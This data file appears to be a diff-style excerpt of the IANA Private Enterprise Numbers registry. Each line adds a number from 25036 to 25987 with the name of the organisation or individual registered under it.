+25036 Kantonsschule Romanshorn
+25037 Novovia
+25038 denver health
+25039 vitroconnect systems GmbH (formerly 'infinity-3 GmbH')
+25040 Keytronix GmbH.
+25041 Microsol Ltd.
+25042 JDM Software BV
+25043 litts.net
+25044 CapWIN
+25045 MET/Administration wallonne/Belgique
+25046 GlobalTouch Telecom
+25047 Fluid4 Studios
+25048 Synchronica PLC
+25049 Opengear Inc.
+25050 IT Knows ApS
+25051 Pythagoras Software (UK)
+25052 Idya Bt.
+25053 Ruckus Wireless, Inc.
+25054 Carillon Information Security Inc.
+25055 Oxford ArchDigital
+25056 Hungarian Television Corporation
+25057 Rural Technologies Inc
+25058 Bain Capital LLC
+25059 Abicom International
+25060 pbxnsip Inc.
+25061 Domaingruppe Riemann2000.de
+25062 MessageOne Inc
+25063 American Tribu Corp
+25064 Women's Health Services
+25065 Identity Engines Inc.
+25066 PELCO
+25067 G Central
+25068 Axistech
+25069 LISA! Reisen GmbH
+25070 MULTICERT - Servicos de Certificacao Electronica S.A.
+25071 Teradici Corporation
+25072 LFW ENTERPRISES, INC.
+25073 Thinking Phone Networks, Inc.
+25074 Presbyterian Healthcare Services
+25075 Inventec Multimedia & Telecom(Tianjin) Co.,Ltd.
+25076 45RU TRUST
+25077 BGC Australia Pty Ltd
+25078 MKQ Internetservice
+25079 Gyanasoft Inc
+25080 Beluga Software, Inc.
+25081 Universidad de Chile
+25082 FishNet Connect
+25083 Sirius Creations
+25084 Argent Productions
+25085 Metrocast Cablevision LLC
+25086 Sydney Missionary and Bible College Ltd.
+25087 HWS
+25088 Transactional Records Access Clearinghouse
+25089 DSK Bank PLC
+25090 Ambientia Oy
+25091 Piranha Messtechnik GmbH & Co. KG
+25092 Aptic AB
+25093 GreysonBaines Innovation
+25094 Vonage Holdings Corp
+25095 XenIT GmbH
+25096 Maimonides Medical Center
+25097 TJX Companies
+25098 Reflectent Software, Inc.
+25099 H.E.B. Company Inc.
+25100 Hochschule Vechta
+25101 Dataarmor Pvt Ltd.
+25102 Phyxia Networks
+25103 Netsol International Argentina S.A.
+25104 Gannett Co., Inc.
+25105 Cable & Wireless Jamaica
+25106 CSE Sh.p..k.
+25107 Stan Winston Studio
+25108 iRadeon, Inc.
+25109 Wireless Edge Canada Inc.
+25110 Vanguard Technology Corp.
+25111 VODCA
+25112 Top Gun Drywall Supply
+25113 Konstructiv Ltd.
+25114 SSE INFONET LTD
+25115 Delbuilt(Pty)Ltd
+25116 EBInteractive
+25117 ID Innovative Datenverarbeitung GmbH
+25118 StanaPhone LLC
+25119 Adder Technology Limited
+25120 SAGUAPAC
+25121 Temex Sync
+25122 Hauk & Sasko GmbH
+25123 Barco Orthogon GmbH
+25124 Trade-On-Technology Holdings
+25125 ALWIL Software
+25126 Jackson State University
+25127 Radialink Corp
+25128 BreastScreen Victoria
+25129 SFBC Anapharm Inc.
+25130 Scouts of Greece, 10th Group of Akropoli, Thessaloniki
+25131 P-tec Co., Ltd.
+25132 Redeal Ltd
+25133 HKU School of Professional and Continuing Education
+25134 ComDesign Inc.
+25135 Ministerul pentru Societatea Informațională (formerly 'Ministerul Comunicatiilor si Tehnologiei Informatiei')
+25136 Haute Ecole Arc
+25137 Voronezh State Pedagogical University
+25138 Alyseo
+25139 Adept Internet (Pty) Ltd
+25140 Institut Catholique de Toulouse
+25141 La Poste
+25142 IP Control Systems Ltd.
+25143 Damovo Deutschland Gmbh & Co. KG
+25144 Perpustakaan Institut Pertanian Bogor
+25145 Netzwerk für Kinder- & Jugendarbeit e.V.
+25146 Cyprus Research and Academic Network
+25147 Internet Solutions
+25148 Pivot3, Inc.
+25149 National Electronics and Computer Technology Center
+25150 KK-DENSO.Co.Ltd
+25151 Dragontech Corporation Limited
+25152 UpTime New Zealand Ltd.
+25153 AvanSec
+25154 Seeker Wireless Pty Ltd
+25155 Unisis Solutions Corporation
+25156 GECI GmbH
+25157 Beckhoff Automation GmbH & Co. KG
+25158 Aros Magic
+25159 OJSC Svyazintek
+25160 Arackal Digital Solutions Inc
+25161 Telavox AB
+25162 Industrias I, S.C.
+25163 Broadband Power Solutions
+25164 Interpay
+25165 FMN communications GmbH
+25166 FH Muenster
+25167 Genexis B.V.
+25168 Edentity Labs Ltd
+25169 Avco Systems Ltd
+25170 AFA Systems srl
+25171 Armbruster IT
+25172 Integra Soluciones Avanzadas, S.L.
+25173 MET-Ministère de l'Equipement et des Transports
+25174 NetOp as
+25175 DCN
+25176 Familie Uhlig
+25177 VAS "Latvijas Pasts"
+25178 GÉANT (formerly 'Trans-European Research and Education Networking Association (TERENA)')
+25179 GESA Elektronik GmbH
+25180 Itonis Ltd.
+25181 HEBUS SARL
+25182 University of Tampere
+25183 SS WorkGroup Solutions
+25184 Zinwave Limited
+25185 Banco Espírito Santo, S.A.
+25186 Uwe Daube
+25187 A.Ir.Br. Associations des Ingénieurs sortis de l'Université Libre de Bruxelles, asbl
+25188 Bob Jones University
+25189 INVIA
+25190 BAE Systems Applied Intelligence
+25191 Smart Bear Inc
+25192 Positive Networks, Inc.
+25193 Wireless Nomad Co-operative Inc.
+25194 Bizanga Ltd
+25195 Waha Oil Company
+25196 TM Software
+25197 eLearningRecord
+25198 SmartServ Web Hosting & Design
+25199 Kobe University
+25200 TurkTel Ltd.
+25201 Uniwell Electronics Ltd.
+25202 Beechler Real Estate Services
+25203 Pete Rushmere
+25204 Prodato Integration Technology GmbH
+25205 Movial Corporation
+25206 Axxess Identification Limited
+25207 JSC "ATLAS"
+25208 CSC Scandihealth A/S
+25209 CURON Inc.
+25210 bizEbox
+25211 Edison Electric Corp.
+25212 Initworks B.V.
+25213 Nexus Web AS
+25214 Minnesota Judicial Branch
+25215 Novacell Solutions Ltd
+25216 ADI Video Technologies
+25217 Nautilus Hyosung
+25218 httv
+25219 RPSoft
+25220 sportcentric Systems
+25221 Viewpoint Construction Software
+25222 Blue Gecko Inc.
+25223 Mindbreeze Software GmbH
+25224 Grupo Pochteca SA de CV
+25225 The Austin Diagnostic Clinic, P.A.
+25226 MaxMD
+25227 Ohio Department of Transportation
+25228 NAV Canada
+25229 Swedish Alliance for Middleware
+25230 The Ohio Casualty Insurance Company
+25231 Riverforge LLC
+25232 Linog consulting
+25233 ACS
+25234 Emdeon Corporation
+25235 Windrush Frozen Foods Ltd
+25236 Invitrogen Corporation
+25237 L-3 Communications/Narda Satellite Networks
+25238 GreenLight Networks
+25239 Tknika
+25240 Peggy A. Pugh, MD, CPC
+25241 Proximus Information Technologies
+25242 ACTORS CONSULTING
+25243 Agglut Technologies, Inc.
+25244 BrightNet Oklahoma
+25245 Order of St. Charbel
+25246 South-Russia State Technical University
+25247 DANDELION C.A.
+25248 Solidcore Systems Inc
+25249 Dispuut Interlink
+25250 AnQ Systems, Ltd.
+25251 Princeton Alliance Church
+25252 vptechnologies srl
+25253 MFEC Public Company Limited
+25254 Makena Technologies, Inc.
+25255 Broadsoft Systems
+25256 Nable Communications, Inc.
+25257 Sipera Systems Inc
+25258 Randombit Consulting
+25259 JWR Software Services Ltd
+25260 Frauerpower!
+25261 Westenberg & Kueppers GbR
+25262 Network Automation
+25263 mareco gmbh
+25264 Propolys
+25265 Dave Pusey - IT Services
+25266 FUH EOS
+25267 Virtual Synthesis
+25268 enfon
+25269 CFNetTools
+25270 MeepZor Consulting
+25271 Lotus Interworks, Inc.
+25272 GRUPO XMARTS SA DE CV
+25273 Konsole Network
+25274 IT2Media GmbH
+25275 Peter Hall
+25276 Gear6
+25277 Pekao Inc.
+25278 Canon Electronics Inc.
+25279 Nasdaq MTS (formerly 'OMX Group')
+25280 Market Pulse International
+25281 Westerstrand Urfabrik AB
+25282 MDK Baden-Württemberg
+25283 CONSEIL GENERAL DU CHER
+25284 Taylor Made Computer Solutions Ltd
+25285 Beheer-Net
+25286 Open Logic Solutions Ltd.
+25287 Megabit Informationstechnik GmbH
+25288 onShore Development
+25289 Alabama A&M University
+25290 Convert Italia SpA
+25291 Zeacom Ltd.
+25292 Skagit County Government
+25293 MaxMD
+25294 EESTEC International
+25295 Affiniti
+25296 VeriCenter, Inc
+25297 Hotxt Ltd
+25298 Rohm and Haas Company
+25299 Rodic M&B-Co d.o.o.
+25300 OfficeNet AS
+25301 Netauth Consulting
+25302 Deakin University
+25303 subnetz.computing GmbH
+25304 Demon Netherlands
+25305 Vodafone Holding GmbH, FPU-CEC
+25306 Sunmine Communications
+25307 Mintel Group Ltd
+25308 MDES
+25309 Manchester Airport (MHT)
+25310 Internet Society Luxembourg ASBL
+25311 RedeDominios.com
+25312 NexTag Inc.
+25313 Visual Development
+25314 New Visual Wave Cable Communications Co., LTD.
+25315 E-wang information Systems Inc
+25316 Karolinska Institutet
+25317 Ixanon AB
+25318 NEXCON Telecomunicaciones S.L.
+25319 AccessPt Inc.
+25320 University of Vaasa
+25321 The American Board of Anesthesiology
+25322 Alarius Systems LLC
+25323 AirPatrol Corporation
+25324 Rock Hill Telephone Company
+25325 Trustserver S. L.
+25326 Linux-Help.org (formerly 'FurreVille')
+25327 Visible World Inc.
+25328 Deasil Systems INC
+25329 Henfield AB
+25330 The Nation
+25331 NOW! Consulting GmbH
+25332 CADLock, Inc.
+25333 Packetframe, Inc.
+25334 Ashantiplc Limited
+25335 SEAMAX MANUFACTURING PTE.LTD
+25336 DSO National Laboratories
+25337 ChinaCache
+25338 RK Systems
+25339 EMC TECH CO., LTD.
+25340 Tiroler Gebietskrankenkasse
+25341 Immosys LLC
+25342 IRCCS Policlinico S.Matteo
+25343 Fachhochschule Frankfurt am Main - University of Applied Sciences
+25344 BlackSpider Technologies Ltd.
+25345 Conseil Général du Val d'Oise
+25346 SAMCA
+25347 Tetra Networking V.O.F.
+25348 SJB Communications
+25349 CDSw - City Data Software, s.r.o.
+25350 Haymarket Publishing Services Limited
+25351 AMAG Automobil- und Motoren AG
+25352 Kuwait Meteorological Department
+25353 Gibson, Dunn & Crutcher LLP
+25354 Travel Svcs llc
+25355 Shenzhen Haishuo Technologies Co.Ltd
+25356 E2E IT Solutions Pty. Ltd.
+25357 Dotstream
+25358 HUBER+SUHNER AG
+25359 Perspektiv Bredband AB
+25360 SMACL
+25361 Dr. Jan-Hendrik Dörner
+25362 Headroom Broadcast GmbH
+25363 Medical Imaging Software Amsterdam
+25364 Studio Tre s.r.l.
+25365 Digitum Ltd.
+25366 Iptic Systems
+25367 Mobile Streams PLC
+25368 Association Crans
+25369 Reliact Solutions S.L.
+25370 ExtendASP LLC
+25371 Arcitecta Pty. Ltd.
+25372 Pegasus Consultants (SW) Ltd
+25373 Universidade Estadual do Sudoeste da Bahia
+25374 Universität Hamburg, Regionales Rechenzentrum / Hamburg University, Computing Center
+25375 NextSysSecure, Inc.
+25376 Suretec Systems Ltd.
+25377 Bauman Moscow State Technical University
+25378 Schrodinger, Inc.
+25379 American Chartered Bank
+25380 Michael D'Errico
+25381 Rx Networks Inc.
+25382 Nanite Services Limited
+25383 TiChou
+25384 Alliant Energy
+25385 Societe anonyme de la Communication Securisee
+25386 ELETEX Co. Ltd.
+25387 xcurenet
+25388 Gadget Factory Ltd.
+25389 Westcoast University of Applied Sciences
+25390 Ulrich Flamm
+25391 SECURE-IT SA
+25392 inabensa
+25393 Alliant Technologies
+25394 Sunflower Technologies
+25395 Aquila, Inc.
+25396 Digital Alchemists GmbH
+25397 Primetime Medical Software
+25398 GeoForschungsZentrum Potsdam
+25399 RHnet Inc.
+25400 InterSystems USA
+25401 MU Net, Inc.
+25402 FlanTel Communications
+25403 ClearCanvas Inc.
+25404 citadel.org (the Citadel groupware project)
+25405 Boston Linux & Unix
+25406 Iptivia Inc
+25407 Engiby sàrl
+25408 BarNet
+25409 Superclick Networks Inc
+25410 Technical Resources International
+25411 Training Team Srl
+25412 OrcaWare Technologies
+25413 FH-Trier, University of Applied Sciences
+25414 City of Henderson, Nevada
+25415 crosscert
+25416 Active Database Team
+25417 rootKlub.org
+25418 INED - Institut National d'Etudes Demographiques
+25419 CompanyName
+25420 maf
+25421 Postini, Inc.
+25422 Vilnius University
+25423 Babs Paylink AB
+25424 Kongsberg Norcontrol AS
+25425 Condor LebensversicherungsAG
+25426 LenSoft Ltd.
+25427 Avenda Systems, Inc.
+25428 AGMEN
+25429 Comarch S.A.
+25430 Netspecialisten
+25431 Ingenico
+25432 ServersCheck BVBA
+25433 HaiVision Systems Inc.
+25434 Engineering School of Geneva EIG
+25435 Great Lakes Internet, Inc.
+25436 Loren Data Corp.
+25437 Chair MMSP of Perm State Technical University
+25438 B-one Aps
+25439 Digital Genesis Technologies
+25440 Radiqal, LLC
+25441 lagis Internet Service Provider GmbH
+25442 AIRAYA Corp
+25443 louismc
+25444 Fastwire
+25445 AstralBlue
+25446 Burn Networks Pty Ltd
+25447 Jireh International Inc.
+25448 Verari Systems, Inc
+25449 Beijing Easy Broadband Technology Co.,Ltd.
+25450 eTraintronics.com
+25451 UFPS Tymenskoy oblasti - filial FGUP "Pochta Rossii"
+25452 Sikom Software GmbH
+25453 Seaview Support Systems Pvt Ltd
+25454 LiComm Co., Ltd.
+25455 Trinodal S.L.
+25456 Wooribyul Telecom Co., Ltd.
+25457 Schweizerische Bibliothek f&#252;r Blinde und Sehbehinderte
+25458 XtraMind Technologies GmbH
+25459 BON.net Ltd
+25460 ComputerLand S.A.
+25461 PALO ALTO NETWORKS
+25462 Applied Wireless Identifications Group, Inc
+25463 NanShanBridge Co.Ltd
+25464 Demarc Technology Group, LLC
+25465 First Standards Organisation (FSO)
+25466 Asia Bank Card Union (ABCUnion.org)
+25467 B-Lex Information Technologies
+25468 Fortica Ltd.
+25469 Aliasource
+25470 North Suburban Access Corp.
+25471 Gridpoint Systems
+25472 Alltek Technology Corp.
+25473 Telelogos
+25474 Lisis NV
+25475 Innovant Pty Ltd
+25476 VideoCells Ltd.
+25477 alpha nova BetriebsgesmbH
+25478 Local Solutions
+25479 X-Tend
+25480 Congruentix LLC
+25481 Convergin Ltd.
+25482 Global Village Data Solutions
+25483 iScience Surgical
+25484 AKDB
+25485 Patentanwaltskanzlei Horns
+25486 Asset Archives, Inc.
+25487 Bishop Technologies, Inc.
+25488 V2 Telecom Ltda.
+25489 Henrik Nordstrom Consulting
+25490 Wagner Tiefkuehlprodukte GmbH
+25491 National Bank of the Republic of Belarus
+25492 Ruukki
+25493 VNUnet Europe
+25494 Ivan Dolezal
+25495 Optimacom Sàrl
+25496 CEMES-CNRS
+25497 Transbit Spolka z o.o.
+25498 InSecMa Solutions GmbH
+25499 GuideCom GmbH
+25500 Interkey, Inc.
+25501 VaultLab, Inc
+25502 AccuRev, Inc.
+25503 Network Integrity Systems Inc.
+25504 St. Edward's University Inc
+25505 SpaceNetwork
+25506 H3C
+25507 Japan Maritime Self-Defense Force
+25508 narraSoft Philippines, Inc.
+25509 C.MER
+25510 Symedia S.A.
+25511 SPALE NETWORKS
+25512 simple-networks
+25513 VirtualLink Technologies Pte. Ltd.
+25514 yatininc
+25515 LKH Villach
+25516 Verizonbusiness
+25517 Criterium Soluções em Informática Ltda
+25518 StorCase Technology, Inc.
+25519 Washington County School District
+25520 Quadrics Ltd
+25521 NextConnect Ltd
+25522 Renko Technologies
+25523 Homecast Co., Ltd.
+25524 Open Source Hardware Engineering Community (OSHEC)
+25525 TC&C Telecommunication and Computer Technology Ltd.
+25526 IPRocess
+25527 Nebraska Public Power District
+25528 Laboratório Nacional de Computação Científica
+25529 World Links
+25530 AirDat LLC
+25531 B2E Technologies PTY LTD
+25532 BCA Services Ltd.
+25533 IdentityForge, LLC.
+25534 Lusan Systems
+25535 Klas Ltd.
+25536 Probaris Technologies, Inc.
+25537 Thomas Friedl
+25538 GNU Telephony
+25539 Osaka University
+25540 NetToolWorks, Inc.
+25541 JStream Technologies, Inc.
+25542 Ortikon Interactive Oy
+25543 Microbit 2.0 AB
+25544 Iptune Ltd.
+25545 EADS-CASA
+25546 Boots Group PLC
+25547 VION
+25548 OpenCraft
+25549 STAR Group
+25550 zhihao
+25551 AMEC
+25552 Poxix
+25553 Sonas Innovation Ltd
+25554 WiderWeb Ltd
+25555 Social Science Research Council
+25556 Beyond 2000 Ltd
+25557 Xerox -ORG
+25558 Infoblox, WinConnect (formerly 'Ipanto')
+25559 Tivella Inc.
+25560 Ministerio Publico do DF e Territorios
+25561 Telecom Protection Technologies Limited
+25562 Firmix Software GmbH
+25563 Stadtverwaltung Duesseldorf
+25564 T7 e.V.
+25565 pixality GmbH
+25566 Staatl. gepr. Inf. Markus KARG
+25567 Cingular Wireless LLC
+25568 Douglas Fast Net
+25569 Points South
+25570 Mackelprang Research
+25571 nDosa Technologies Inc
+25572 Columbia International College
+25573 Point Clark Networks Ltd.
+25574 FXC Inc.
+25575 Bevuta
+25576 AXMEDIS Organisation
+25577 Norlinx, Inc
+25578 Interchange Corporation
+25579 Info Tech, Inc.
+25580 Universidad de El Salvador
+25581 Musmap Team
+25582 Employease Inc.
+25583 gfk
+25584 Axzona Ltd
+25585 Infoglobal, S.A.
+25586 Unified Group Ltd
+25587 Jinitech Inc.
+25588 University of Texas Center for Agile Technology
+25589 Comune di Cagliari
+25590 Tecnoworld Com. Imp. Exp. Ltda.
+25591 National Clearinghouse for Rehabilitation Training Materials
+25592 Intercorp
+25593 Aethernet Ltd
+25594 Gollard
+25595 CZ.NIC, z.s.p.o.
+25596 DigitalSign - Certificadora Digital
+25597 FireEye Inc.
+25598 Gehlbach Technical Services, Inc.
+25599 SecureNet PL
+25600 EzValidation Inc.
+25601 FSP Computer & Netzwerke
+25602 Telekom Austria AG
+25603 Locube.com
+25604 Agos S.p.A.
+25605 Ingenieurbuero T. Scholz
+25606 DevMetrix LLC (formerly 'USi')
+25607 Andritz AG
+25608 Iritec
+25609 StreamVision
+25610 The SEEMIS Group
+25611 Lafayette College
+25612 Trilliant Networks
+25613 CGI Concept
+25614 Auroras Entertainment
+25615 Computer Savvy
+25616 Cardiac Science Corporation
+25617 ClearCube Technology
+25618 Omnitrol Networks, Inc.
+25619 Ultragreen
+25620 Ost-West Handelsbank AG
+25621 Z Microsystems
+25622 JANET(UK) (formerly 'UKERNA (United Kingdom Education and Research Networking Association)')
+25623 OpenVAS
+25624 Kent School District
+25625 ChattenAssociates, Inc.
+25626 Crufty
+25627 Ohio Department of Public Safety
+25628 Perot Systems Corporation
+25629 U.S. Environmental Protection Agency
+25630 Groupe Mutuel
+25631 International Newspaper Network, LLC
+25632 Thorold Alarm
+25633 lecentre.net
+25634 uniqueobject
+25635 Carlo Gavazzi Computing Solutions, Inc.
+25636 Control Alternative Solutions, Inc.
+25637 Police Bruxelles CAPITALE Ixelles - ZP 5339
+25638 Uniadex, Ltd.
+25639 KMS Systems Inc
+25640 Real SoftService
+25641 Papeteries Hamelin
+25642 CHP Consulting ltd.
+25643 Intermediasud
+25644 liland open IT solutions GmbH
+25645 Community TV GmbH
+25646 b.a.b-technologie GmbH
+25647 Hungarian Customs Service (VPOP)
+25648 Ecole Nationale Veterinaire de Nantes
+25649 Technobox, Inc.
+25650 SunUp Design Systems, Inc.
+25651 Exalt Communications
+25652 Tasneem Electronics L.L.C
+25653 Oakley Networks, Inc.
+25654 Psi Systems, Inc.
+25655 MIMS SA
+25656 Axoïde EURL
+25657 NWCG
+25658 Essentia S.p.A.
+25659 PolarSat Inc.
+25660 Starflight Electronics
+25661 DataPro Group Limited
+25662 Opway Optical Technology(Wuxi)Co.Ltd
+25663 InfowareLab Co,Ltd.
+25664 Terascala, Inc.
+25665 Essentel Inc.
+25666 Telenav, INC
+25667 Padjen
+25668 Battelle Memorial Institute
+25669 Mariner Partners Inc.
+25670 California State University, Fullerton
+25671 EC Hugbunadur Ehf
+25672 Responsys
+25673 Grupo IT Deusto, S.L.
+25674 jlu.nic.Inc.
+25675 Test-O-Mat
+25676 procilon Gmbh
+25677 Action Soft
+25678 EMBL Heidelberg
+25679 SecureAxis Software
+25680 Pixen Technologies Pvt Ltd
+25681 Instituto Municipal de Cultura y Juventud de Burjassot
+25682 Donley Consulting
+25683 Epstein Becker & Green, P.C.
+25684 Perot Systems Government Services
+25685 Hurricane Labs LLC
+25686 MCTEL Monaco Telematique
+25687 Gendreau & Pelchat
+25688 Caixanova
+25689 alsatis
+25690 REM Probe Ltd
+25691 Eyes, Japan Co. Ltd.
+25692 ANDREAS STIHL AG & Co. KG
+25693 InterNetworX Systems Inc.
+25694 DRS Surveillance Support Systems, Inc.
+25695 Vestergaard IT
+25696 Nedap N.V.
+25697 BBK
+25698 KSB Italia S.p.A.
+25699 Generic Variables
+25700 Protokon Kft.
+25701 GAMIC mbH
+25702 PCSofía
+25703 CYBERSYS
+25704 inter-touch (Malaysia) Sdn. Bhd.
+25705 Pixtree Technologies, Inc.
+25706 ViaScope Int.
+25707 Marksman
+25708 Milde Software Solutions (MSS)
+25709 Windstream Communications Inc
+25710 Phoenix Worldwide Industries, Inc.
+25711 Coral8, Inc.
+25712 The Higher Gear Group, Inc.
+25713 Magyar Telekom
+25714 Chengdu Guyue Electronics Co.,Ltd
+25715 JumpTV.com Inc.
+25716 Manuel Domínguez Hidalgo
+25717 Ravn Webveveriet AS
+25718 Taction
+25719 Polysys Ltd.
+25720 Ingenieurbüro Kuhlmann
+25721 Linwave Technology
+25722 Integrated Financial Arrangements plc
+25723 Phoenix-Database Informationstechnologie GmbH
+25724 Universiti Sains Malaysia
+25725 SOSeth
+25726 Cyrix Technologies Limited
+25727 Q9 Networks Inc.
+25728 ZAO Light Communication
+25729 Radiodata GmbH
+25730 ASmith Home
+25731 Web Xtreme, Inc.
+25732 Mirago plc
+25733 Cellact Ltd.
+25734 Bolignet-Aarhus
+25735 Visionee s.r.l.
+25736 Duval County Public Schools
+25737 Reality Communications
+25738 INFOLOG GmbH
+25739 INTERMET Ueckermuende
+25740 Nakamura Technologies Ltd.
+25741 Ariane Ingenierie
+25742 ALDI Einkauf GmbH & Co. oHG
+25743 Krontek Pty Ltd
+25744 Avillon Networks
+25745 Smart Communications, Inc
+25746 ARCADIA LAB srl
+25747 YellowJacket Software, Inc.
+25748 Templer Wirtschaftsing.-Buero
+25749 CenGen, Inc.
+25750 SAM Group, Inc.
+25751 Python Technology Limited
+25752 Gallery Solo
+25753 KPH Computers
+25754 Shanghai onLAN Communication Tech.Co.,Ltd.
+25755 Liferay, LLC
+25756 Mahidol Wittayanusorn (Public Organization)
+25757 Minister of Interior of Saudi Arabia
+25758 SIF Inc.
+25759 Almen Laboratories, Inc.
+25760 Doctors Telehealth Network
+25761 ABB Automation GmbH
+25762 PersonalOffice
+25763 Happydoo SAS
+25764 Exmos Ltd
+25765 Barclays Global Investors Ltd
+25766 Christie Digital Systems
+25767 Koya Ixis, S. C.
+25768 DATAllegro, Inc.
+25769 UTRONIX Elektronikutveckling AB
+25770 chatelp.org
+25771 Mobile 365, Inc.
+25772 Astha Technologies Pvt. Ltd.
+25773 Wemeus
+25774 BCEAO
+25775 midPhase Services, Inc
+25776 Hangzhou zhongwei electronics Ltd.
+25777 technoms
+25778 Irkutsk State Transport University (IrGUPS)
+25779 MITO-Performance
+25780 Sanchin Consulting AB
+25781 NetFort Technologies Limited
+25782 MSA management solutions GmbH
+25783 Bluecom C.A.
+25784 Deutsche Provinz der Salesianer Don Boscos KoeR
+25785 Universitat Politècnica de Catalunya (UPC)
+25786 AgileSoft BVBA
+25787 dox.at. Softwareentwicklungs und Dienstleistungs GmbH
+25788 DAIMS Ltd.
+25789 Digital Work Co.,Ltd.
+25790 Sirona Dental Systems GmbH
+25791 certSign.eu
+25792 Leader.IT
+25793 Häfele GmbH & co. KG
+25794 XSALTO
+25795 Vicarial Technology
+25796 Menbit Technology Co., Ltd
+25797 Southerland Consulting, Inc.
+25798 Elaborated Networks GmbH
+25799 West Liberty Telephone Company
+25800 Ample Communications Inc.
+25801 Identita Technologies Inc.
+25802 Aliadis
+25803 Total System Services, Inc..
+25804 Scala, Inc.
+25805 Thomson Learning
+25806 Sonnet Technologies, Inc.
+25807 heung to middle school (tin shui wai)
+25808 eBiz Ltd.
+25809 mobileX AG
+25810 ABE Software
+25811 INLOG SA
+25812 Home Gateway Initiative
+25813 Sai Furnitures LTD
+25814 Subzilla
+25815 Wirevox
+25816 Roland DG Corporation
+25817 Poseidon Networks
+25818 The Sakai Foundation
+25819 DO|YOU|SOFT
+25820 SkyBlue Technologies, Inc.
+25821 Consilient Technologies Corp.
+25822 S&T Hungary Ltd.
+25823 CIO Informatique Industrielle
+25824 Dementia 7
+25825 Asgard's Realm
+25826 Peter J. Leonard Small Business Consulting Services
+25827 Big Lots Stores, Inc.
+25828 Texas Health and Human Services
+25829 Beijing superlink telecommunications Co.Ltd
+25830 4Players GmbH
+25831 Rhinocorps, Ltd. Co.
+25832 GlobalSCAPE, Inc.
+25833 Edward W. Sparrow Hospital Association
+25834 Interoperabilidad S.A. de C.V.
+25835 Patientline UK Ltd
+25836 Austrian Academy of Sciences
+25837 Electronnyi gorod Lld.
+25838 Tagawa Software Engineering
+25839 ISTANTE srl
+25840 Logcode SARL
+25841 Arakelian Software, Inc.
+25842 Technica Necesse Est
+25843 VoIP.co.uk
+25844 Seneca Technology Corporation
+25845 MIYATSU CO.,Ltd
+25846 AIN Manager & Company, Inc.
+25847 M-Networks, LLC.
+25848 Bally Technologies, Inc.
+25849 deas Deutsche Assekuranz-Makler GmbH
+25850 Smart Tech 21, Inc.
+25851 5by5 Software Ventures Ltd.
+25852 City Computing Ltd London UK 1767817
+25853 Rubin Rt.
+25854 Multisoft Ltd.
+25855 Net24 Limited
+25856 Free University of Bozen/Bolzano
+25857 FEMTO-ST
+25858 The Royal College of Surgeons in Ireland
+25859 The aKamali Group, Inc.
+25860 A VonderHaar Networks
+25861 Tanapro GmbH
+25862 Assist WiseTech S.A.
+25863 Brenson Pacific Technologies Ltd
+25864 VideoPropulsion Interactive Television, Inc
+25865 Boise State University
+25866 CHU BESANCON
+25867 i-qnet
+25868 Last Mile Gear
+25869 MIRAVID Inc.
+25870 FHLBanks Office of Finance
+25871 Nextwireless. co. ltd.
+25872 EMM s.r.o.
+25873 BitlBee Team
+25874 GrimIce Inc.
+25875 Ondrej Svoboda
+25876 Gnome Technologies
+25877 Portrait International, Inc.
+25878 FineRF
+25879 Mess Creative Electronics B.V.
+25880 AEB GmbH
+25881 Objective Arts
+25882 Impinj, Inc.
+25883 Elspec-Ltd
+25884 JPK Instruments AG
+25885 TQI - Total Quality on Information
+25886 Nethit
+25887 Centro Provinciale di Documentazione Modena
+25888 Gestion Professionnelle des Services de l'Assurance
+25889 IFETH Ltd., U.K.
+25890 MNG Networks GmbH
+25891 Sms Systems
+25892 Teletronics International, Inc.
+25893 Dexterra Inc.
+25894 Blue Cross and Blue Shield of Louisiana
+25895 PS Webhosting
+25896 Sento Corporation
+25897 Alligacom Inc.
+25898 25th-floor - de Pretis & Helmberger KEG
+25899 Kantonsschule Zug
+25900 Blue Frog Solutions Inc.
+25901 Vaquero (formerly 'Linterra')
+25902 M&V Werbeagentur GmbH
+25903 Palm Beach County
+25904 Fresh Agencja Reklamowa Sp. z o.o.
+25905 Charles University in Prague
+25906 Topchiev Institute of Petrochemical Synthesis
+25907 EMAP France
+25908 Haicku, S. Coop. Mad.
+25909 IPCMS
+25910 Live Software Solutions Ltd.
+25911 ELCA Informatique SA
+25912 PT Teleakses Solusindo (Tel-Access)
+25913 Fi-Mesh Networks Private Ltd.
+25914 Solacom Technologies
+25915 BCM Bureautique S.A.R.L
+25916 progon engineering
+25917 convey Information Systems GmbH
+25918 IT-SecuConsult Ltd.
+25919 NorthSpark AB
+25920 Institut de Genetique et Microbiologie ( IGM )
+25921 centerra GmbH
+25922 teuto.net Netzdienste GmbH
+25923 C D P Communications Inc.
+25924 CatsMuvva.Net
+25925 Ready Business System
+25926 Computer and Communication (CaC)
+25927 Marketcetera LLC
+25928 SecureNet Scientific Solutions S.A. de C.V.
+25929 JHU ACM
+25930 ZamKor P. Sagnowski i Wspolnicy Sp. J.
+25931 Datalan, a.s.
+25932 8labs.com
+25933 Quantum Technology Marketing Ltd
+25934 Intraway Corporation
+25935 TNT Express Worldwide (UK) Ltd
+25936 echternacht new media ohg
+25937 NNIT A/S
+25938 Axonpro spol. s r.o.
+25939 Mainstream Technologies, s.r.o.
+25940 Lycée Technique d'Ettelbruck
+25941 WiComm mmc
+25942 DigiVox B.V.
+25943 pixus.net
+25944 Psychotronics
+25945 Landwehr EDV Technik
+25946 cintrixx technologies
+25947 Halloo Communications, Inc.
+25948 Yellowbank
+25949 China Agricultural University
+25950 FlyLady & Company, Inc.
+25951 Hutman, Inc
+25952 EyeQ Informationstechnik & Multimedia, Reinhard Sucker & Sohn GbR
+25953 Getitsafe
+25954 XERON
+25955 Observit Lda
+25956 Talk-A-Phone Co.
+25957 ATITEL LTDA
+25958 Secure Networks Lda.
+25959 Raia & Cia Ltda.
+25960 Hour Hand Productions Inc.
+25961 Bizfon, Inc.
+25962 Larson Technology
+25963 California State University Stanislaus
+25964 sPearWay Ltd.
+25965 Pennsylvania Legislative Data Processing Center
+25966 CBS Broadcasting Inc.
+25967 Packetware Inc
+25968 Rabid Dog Labs
+25969 SeMarket, S.A.
+25970 Pmovil Ltda.
+25971 SGV
+25972 SUPERCOM
+25973 Nexge Technologies (P) Ltd
+25974 Freedom9 Inc.
+25975 REUNA
+25976 Secours Catholique
+25977 Bausparkasse Schwäbisch Hall AG
+25978 EGeen
+25979 Mavenir Systems, Inc.
+25980 Van Shung Chong Holdings Limited
+25981 Sapian SA
+25982 Hillcrest Laboratories, Inc.
+25983 Telecom Design
+25984 FAST CORPORATION
+25985 JoyTV10 / S-Vox Ltd (formerly 'Rogers Broadcasting Ltd.')
+25986 InterGen Services, Inc.
+25987 Grupo de Investigación en Bioingeniería (GIB) CES - EAFIT
